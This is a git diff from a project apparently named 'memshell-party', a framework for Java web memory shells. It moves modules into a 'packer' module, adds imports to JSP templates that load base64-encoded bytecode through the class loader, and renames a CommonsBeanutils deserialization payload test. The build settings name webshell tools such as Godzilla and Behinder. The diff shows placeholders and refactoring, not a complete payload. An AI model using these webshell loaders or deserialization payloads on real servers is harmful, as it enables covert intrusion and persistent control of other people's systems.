b/packer/src/main/resources/shell1.jsp @@ -1,3 +1,10 @@ +<%@ page import="java.lang.*" %> +<%@ page import="java.lang.Class" %> +<%@ page import="java.lang.ClassLoader" %> +<%@ page import="java.lang.ClassNotFoundException" %> +<%@ page import="java.lang.Object" %> +<%@ page import="java.lang.String" %> +<%@ page import="java.lang.Thread" %> <% ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); String base64Str = "{{base64Str}}"; diff --git a/generator/src/main/resources/shell2.jsp b/packer/src/main/resources/shell2.jsp similarity index 85% rename from generator/src/main/resources/shell2.jsp rename to packer/src/main/resources/shell2.jsp index e7b183b4..9a227edb 100644 --- a/generator/src/main/resources/shell2.jsp +++ b/packer/src/main/resources/shell2.jsp @@ -1,3 +1,13 @@ +<%@ page import="java.lang.*" %> +<%@ page import="java.lang.Class" %> +<%@ page import="java.lang.ClassLoader" %> +<%@ page import="java.lang.ClassNotFoundException" %> +<%@ page import="java.lang.Integer" %> +<%@ page import="java.lang.Long" %> +<%@ page import="java.lang.Object" %> +<%@ page import="java.lang.String" %> +<%@ page import="java.lang.Thread" %> +<%@ page import="java.lang.Throwable" %> <% String base64Str = "{{base64Str}}"; byte[] bytecode = null; diff --git a/deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java b/packer/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java similarity index 94% rename from deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java rename to packer/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java index 49afd039..317dfa3d 100644 --- a/deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java +++ b/packer/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.deserialize.payload; -import com.reajason.javaweb.deserialize.utils.Reflections; +import com.reajason.javaweb.packer.deserialize.utils.Reflections; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.modifier.FieldManifestation; diff --git a/settings.gradle.kts b/settings.gradle.kts index f49d4b4f..39e5ba89 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -21,7 +21,7 @@ rootProject.name = "memshell-party" include("memshell-party-common") include("tools:godzilla", "tools:behinder", "tools:suo5", "tools:ant-sword") include("memshell") -include("deserialize") +include("packer") include("boot") include("generator") include("integration-test")